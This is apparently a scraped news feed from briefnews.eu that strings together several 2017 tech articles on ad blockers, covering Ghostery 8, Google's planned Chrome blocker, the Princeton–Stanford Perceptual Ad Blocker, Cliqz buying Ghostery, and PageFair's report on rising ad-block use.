Popular ad blocker Ghostery has released its first major update since being acquired https://briefnews.eu/popular-ad-blocker-ghostery-has-released-its-first-major-update-since-being-acquired/ https://briefnews.eu/popular-ad-blocker-ghostery-has-released-its-first-major-update-since-being-acquired/#respond Wed, 06 Dec 2017 16:29:54 +0000 http://briefnews.eu/popular-ad-blocker-ghostery-has-released-its-first-major-update-since-being-acquired/ stop signREUTERS/Mark Blinch

Ghostery, the popular ad blocker, has just released its first major update to its browser extension after being acquired n February. 

Ghostery 8 is available on Firefox, Chrome, and others, and comes embedded in Cliqz, the privacy-focused browser backed by Mozilla which bought Ghostery this year.

The changes are designed to appeal to more mainstream users who care about privacy, but don’t want to fiddle about enabling or disabling specific trackers on a web page. It’s also meant to encourage users to see Ghostery as an all-in-one product, rather than something to be used in conjunction with a filter-list ad blocker like Adblock Plus. 

“Our competitive analysis and user research … led us to the realisation that many of our users were using Ghostery alongside filter-list ad-blockers,” product manager Jeremy Tillman told Business Insider by email. “With Ghostery 8, we took the opportunity to implement our own filter-list ad-blocker [developed by parent Cliqz] and provide users with an all-in-one solution.”

The main changes are:

  • Blocking some ads and intrusive trackers by default:  Ghostery hasn’t historically blocked anything by default, letting you pick and choose trackers to block. Now it’ll block certain things by default, partly with a new “Smart Blocking” feature which automatically blocks or unblocks trackers to speed up page loading.
  • Artificial intelligence: Ghostery has implemented artificially intelligent tech from its new owner Cliqz to identify whether a web page tracker is sending personally identifying information about you to advertisers. Ghostery will overwrite that information with random data, so an advertiser can’t build a profile of you.
  • Easier to use: Ghostery is popular with privacy nerds, but the updated version should make it easier for the average consumer who cares about their information staying private.

Ghostery says it has 7 million monthly active users — so it’s still a small player compared to Adblock Plus, which passed 100 million active users last year.

Tillman also told Business Insider that Ghostery doesn’t sell its user data to third parties, something which landed the firm in trouble under its previous parent Evidon. Ghostery still has a data-sharing agreement with Evidon, but that will wrap up next year.

Tillman said: “Ghostery does not sell anonymised data or information to third parties.  As part of our acquisition agreement, we still license our anonymised tracker data set (previously known as GhostRank data) to our previous parent company, Evidon, to use in their enterprise product suite.  However, we are currently in the process of terminating that data license, effective March 1, 2018.”

NOW WATCH: Hackers can gain access to your computer monitor — a cybersecurity expert shows us how easy it is

Feedburner

]]>
https://briefnews.eu/popular-ad-blocker-ghostery-has-released-its-first-major-update-since-being-acquired/feed/ 0
Report: Google will add an ad blocker to all versions of Chrome web browser https://briefnews.eu/report-google-will-add-an-ad-blocker-to-all-versions-of-chrome-web-browser/ https://briefnews.eu/report-google-will-add-an-ad-blocker-to-all-versions-of-chrome-web-browser/#respond Thu, 20 Apr 2017 07:36:26 +0000 http://briefnews.eu/report-google-will-add-an-ad-blocker-to-all-versions-of-chrome-web-browser/

Enlarge / A totally-not-official rendering of what the Chrome Adblocker logo might look like. (credit: Ron Amadeo)

The Wall Street Journal just dropped a shocker of a report: Google, the biggest web advertising company in the world, is planning to build an ad blocker into Google Chrome, the world’s most popular web browser. The ad blocker will reportedly end up in the desktop and mobile versions of Chrome and would be switched on by default.

If true, this report suggests a major conflict of interest for Google. Today Chrome covers over 50 percent of the browsing market, according to Net Market Share, and Google would kill its income if it started blocking Google ads. Of course, Google won’t block Google ads. Instead, according to the report, Chrome will target “unacceptable ads” as defined by the Coalition for Better Ads. The Coalition for Better Ads, which counts Google and Facebook among its members, has a page of “least preferred ad experiences” up on its website. This page calls out pop-ups, autoplaying video ads with sound, interstitial ads with countdowns, and large “sticky” ads as “below the threshold of consumer acceptability.”

The Journal notes “in one possible application Google is considering” Google could block all ads on a site that doesn’t comply with the rules, rather than just block offending ads. Presumably this would stop websites from using a mix of “acceptable” and “unacceptable” ads with the hope that the “unacceptable” ads are seen by non-Chrome users, since they risk losing out on all revenue from all Chrome users.

Read 2 remaining paragraphs | Comments

Ars Technica

]]>
https://briefnews.eu/report-google-will-add-an-ad-blocker-to-all-versions-of-chrome-web-browser/feed/ 0
Princeton University is developing an undetectable ad blocker https://briefnews.eu/princeton-university-is-developing-an-undetectable-ad-blocker/ https://briefnews.eu/princeton-university-is-developing-an-undetectable-ad-blocker/#respond Tue, 18 Apr 2017 10:05:27 +0000 http://briefnews.eu/princeton-university-is-developing-an-undetectable-ad-blocker/ Perceptual Ad BlockerFacebook

A new ad-blocking technology could mean trouble for online publishers.

Developed by researchers at Stanford and Princeton, this “undefeatable” ad blocker breaks from the norm and detects ads much like humans do: by looking at it. Typical ad-blockers scan a page’s source code looking for signs of ads. It’s effective in most instances, but the technology isn’t perfect and can be circumvented to show ads — or “please consider whitelisting this site” pop-ups.

The new tool, Perceptual Ad Blocker, finds ads the way humans do: by looking. Instead of reading HTML markup or tags, the system looks instead at the content contained on the page. Arvind Narayanan, one of Perceptual Ad Blocker’s creators is confident in the technology:

“Most previous discussions have assumed that this is a cat-and-mouse game that will escalate indefinitely. But in a new paper, accompanied by proof-of-concept code, we challenge this claim. We believe that due to the architecture of web browsers, there’s an inherent asymmetry that favors users and ad blockers. We have devised and prototyped several ad blocking techniques that work radically differently from current ones. We don’t claim to have created an undefeatable ad blocker, but we identify an evolving combination of technical and legal factors that will determine the ‘end game’ of the arms race.”

Currently, the proof-of-concept is being tested as a Chrome extension. In an attempt to avoid the ethical quandry that comes with ad-blocking tools, the researchers have decided not to enter the fray — at least not yet — and instead prove it works by displaying ads with identifying text.

NOW WATCH: People are outraged by a Pepsi ad starring Kendall Jenner — here’s how the company responded

Feedburner

]]>
https://briefnews.eu/princeton-university-is-developing-an-undetectable-ad-blocker/feed/ 0
Potentially ‘undefeatable’ ad blocker looks at content, not code https://briefnews.eu/potentially-undefeatable-ad-blocker-looks-at-content-not-code/ https://briefnews.eu/potentially-undefeatable-ad-blocker-looks-at-content-not-code/#respond Sun, 16 Apr 2017 11:33:07 +0000 http://briefnews.eu/potentially-undefeatable-ad-blocker-looks-at-content-not-code/

Facebook may have just lost its war on ad blockers. That is, if a new method developed by Princeton and Stanford researchers is implemented into a widely available blocker. Computer scientist Arvind Narayanan and his colleagues detailed unveiled a tool that detects ads the same way humans would, by looking at things like container sizes, icon graphics and words like “Sponsored.” It’s called Perceptual Ad Blocker, and is already available as a Chrome extension for you to test out yourself. But in an attempt to avoid getting into the ethics around ad-blocking, the system only covers detected ads with words like “This is an ad,” instead of removing them altogether.

Existing blockers scour a webpage’s source code for signs that they are ads, but those can easily be disguised by anti ad-blocking sites. Narayanan’s team designed Perceptual to ignore hidden HTML markup (or tags) and look instead at the actual content (i.e., words and pictures on the page).

Narayanan and Princeton undergraduate Grant Storey already released a Facebook-specific version of its ad-highlighting extension in November, after the social network announced it would make its ads look like regular posts to thwart blockers. That extension already supports several thousand users, said Narayanan. Today’s release extends that ability to the rest of the Internet, targeting AdChoice displays.

“We don’t claim to have created an undefeatable ad blocker, but we identify an evolving combination of technical and legal factors that will determine the “end game” of the arms race,” Narayanan wrote in a blog post. Out of the 50 known anti-ad-blocking sites his team tested, the perceptual ad blocker was able to highlight ads on all of them without being detected.

Because there are laws around ads being labeled clearly so as not to mislead consumers, there will always be some form of identifier around sponsored content that the perceptual ad blocker is supposed to be able to suss out. This means it has a very good chance of continued success, that is, unless companies find a way to serve you ads without you knowing at all.

Via: Motherboard

Source: Future of Ad Blocking (paper)

Engadget RSS Feed

]]>
https://briefnews.eu/potentially-undefeatable-ad-blocker-looks-at-content-not-code/feed/ 0
Privacy browser Cliqz has acquired the ad and tracking blocker Ghostery https://briefnews.eu/privacy-browser-cliqz-has-acquired-the-ad-and-tracking-blocker-ghostery/ https://briefnews.eu/privacy-browser-cliqz-has-acquired-the-ad-and-tracking-blocker-ghostery/#respond Wed, 15 Feb 2017 12:57:15 +0000 http://briefnews.eu/privacy-browser-cliqz-has-acquired-the-ad-and-tracking-blocker-ghostery/ Scott MeyerScribe Media / YouTube

German startup Cliqz, backed by Mozilla, acquired privacy tool Ghostery in an all-cash deal, the companies announced on Wednesday.

Cliqz is a German startup building a privacy browser, which protects its users from ad tracking. 

The deal will see the startup acquire the consumer assets of Ghostery, which has 10 million users, in a bid to grow Cliqz’s user base outside of its home market. 

The company behind Ghostery is not being acquired outright. The firm will go back to its previous name, Evidon, and will focus on “digital governance solutions for business,” according to a press release.

Evidon will provide monitoring and consent technology for websites, more commonly known as the cookie consent forms appearing on websites for European users.

Cofounder and CEO of Evidon, Scott Meyer said: “The EU’s General Data Protection Regulation (GDPR) in particular has catalyzed the need for Digital Governance and clients are approaching us with an increasing set of demands. This deal will ensure that clients retain access to Ghostery data about trackers, and enable Evidon to focus exclusively on the significantly growing B2B market.”

NOW WATCH: Watch Budweiser’s Super Bowl ad — it makes a strong statement on immigration


Feedburner

]]>
https://briefnews.eu/privacy-browser-cliqz-has-acquired-the-ad-and-tracking-blocker-ghostery/feed/ 0
Ad blocker usage is up 30% — and a popular method publishers use to thwart it isn’t working https://briefnews.eu/ad-blocker-usage-is-up-30-and-a-popular-method-publishers-use-to-thwart-it-isnt-working/ https://briefnews.eu/ad-blocker-usage-is-up-30-and-a-popular-method-publishers-use-to-thwart-it-isnt-working/#respond Wed, 01 Feb 2017 00:50:19 +0000 http://briefnews.eu/ad-blocker-usage-is-up-30-and-a-popular-method-publishers-use-to-thwart-it-isnt-working/ Ad blocker usage surged 30% in 2016, according to a new report from PageFair, a company that helps publishers regain revenue lost to the software.

There were 615 million devices blocking ads worldwide by the end of 2016, 62% (308 million) of those mobile. Desktop ad blocker usage grew 17% year-on-year to 236 million.

ad blockingPageFair

The largest geographical driver of mobile ad blocker use has been in the Asia-Pacific, where 94% of mobile ad blocking takes place.

There hasn’t yet been mass adoption of a mobile ad blocking app in North America or Europe yet, but PageFair predicts mobile ad blocking would accelerate in those regions if device manufacturers or distributors began to pre-configure ad blocking software as standard.

ad blockerPageFairSecurity was the main reason cited for downloading an ad blocker among consumers polled in the US for the report. 30% of those surveyed said virus and malware concerns drove them to download an ad blocker.

The next most-cited reason for getting ad blocker software was “interruption” (29%), according to the report.

Dr Johnny Ryan, PageFair’s head of ecosystem, said in the company’s previous reports, privacy has been the primary motivation to downloading an ad blocker.

Ryan told Business Insider: “In 2014 we were dealing with early adopter users of ad blocking. These people really care and understand about the real problems of privacy and data leakage in ad tech. I think what happened is the industry’s lack of an approach or interest in privacy let the ad block genie out of the bottle.”

He continued: “But now [ad blocker usage] has grown to a broader demographic for whom [an ad blocker] is closer to just a remote control. The genie is out of the bottle and if the industry had taken privacy and data protection seriously this might not have happened.”

PageFair’s previous reports and those of different organizations found there was a significantly higher usage rate of ad blockers among males. While it’s still true that more men use ad blockers than women, the report showed that the ad blocking demographics have broadened out beyond solely young techies:

ad block demographicPageFair

The failure of ad block walls

The study also looked into how publishers are tacking the growing use of ad blocking software.

PageFair noted that 90% of ad blocker users surveyed have encountered an “ad block wall” that blocked them from viewing content unless they disabled their ad blocker.

However, almost three-quarters (74%) of those users said they simply left those websites rather than performing the steps required to whitelist them.

Ryan told Business Insider he wasn’t surprised to see those sorts of figures.

He said: “It’s very straightforward: There are not all that many publishers who have such exclusive content that they feel confident in establishing a paywall. By the same rationale, there cannot be that many publishers who have the confidence in establishing an ad block wall either. There are some publishers who claim, maybe rightly, 40% to 50% conversion … [but there are] publishers who are turning away 50%, 60%, 70% of their traffic when they ask people to switch off their ad blocker. That’s not sustainable for most the people we want to serve.”

The alternative, Ryan says, is for publishers to listen to their audience about what’s making them block ads, fix the problems, and serve them the solutions.

It’s something Facebook did last year when it tweaked the technology to stop ad blocking software from working on its desktop website. The social network surveyed users, updated its ads preference tools to give users more control over the types of ads they were being served, then began circumventing the ad blockers because it believed it had created a better ad experience. On Facebook’s Q3 earnings call, the company said desktop ad revenue grew 18% year-on-year in the quarter it began blocking the ad blockers.

PageFair has skin in the game here: It makes its money by helping publishers use technology to recoup money lost to ad blockers and find different ways to make revenue from those users. Often that’s by using the Facebook method of serving ads — or an ad-light experience (77% of ad blocker users it surveyed said they found some ad formats permissible) — to ad blocker users. But Ryan made clear that if a publisher asks PageFair to help it set up an ad block wall, PageFair would oblige too.

The report ends with a fun factlet: “Adblock users are more educated.” PageFair says 45% of ad blocker users it surveyed had attained a bachelor’s degree or higher versus 30% across the US Census.

PageFair surveyed 4,626 users through a Google Consumer Survey. The company also used data from StatCounter, Internet Live Stats, eMarketer, and the US Census Bureau. You can read the full report here.

NOW WATCH: Watch Budweiser’s Super Bowl ad — it makes a strong statement on immigration


Feedburner

]]>
https://briefnews.eu/ad-blocker-usage-is-up-30-and-a-popular-method-publishers-use-to-thwart-it-isnt-working/feed/ 0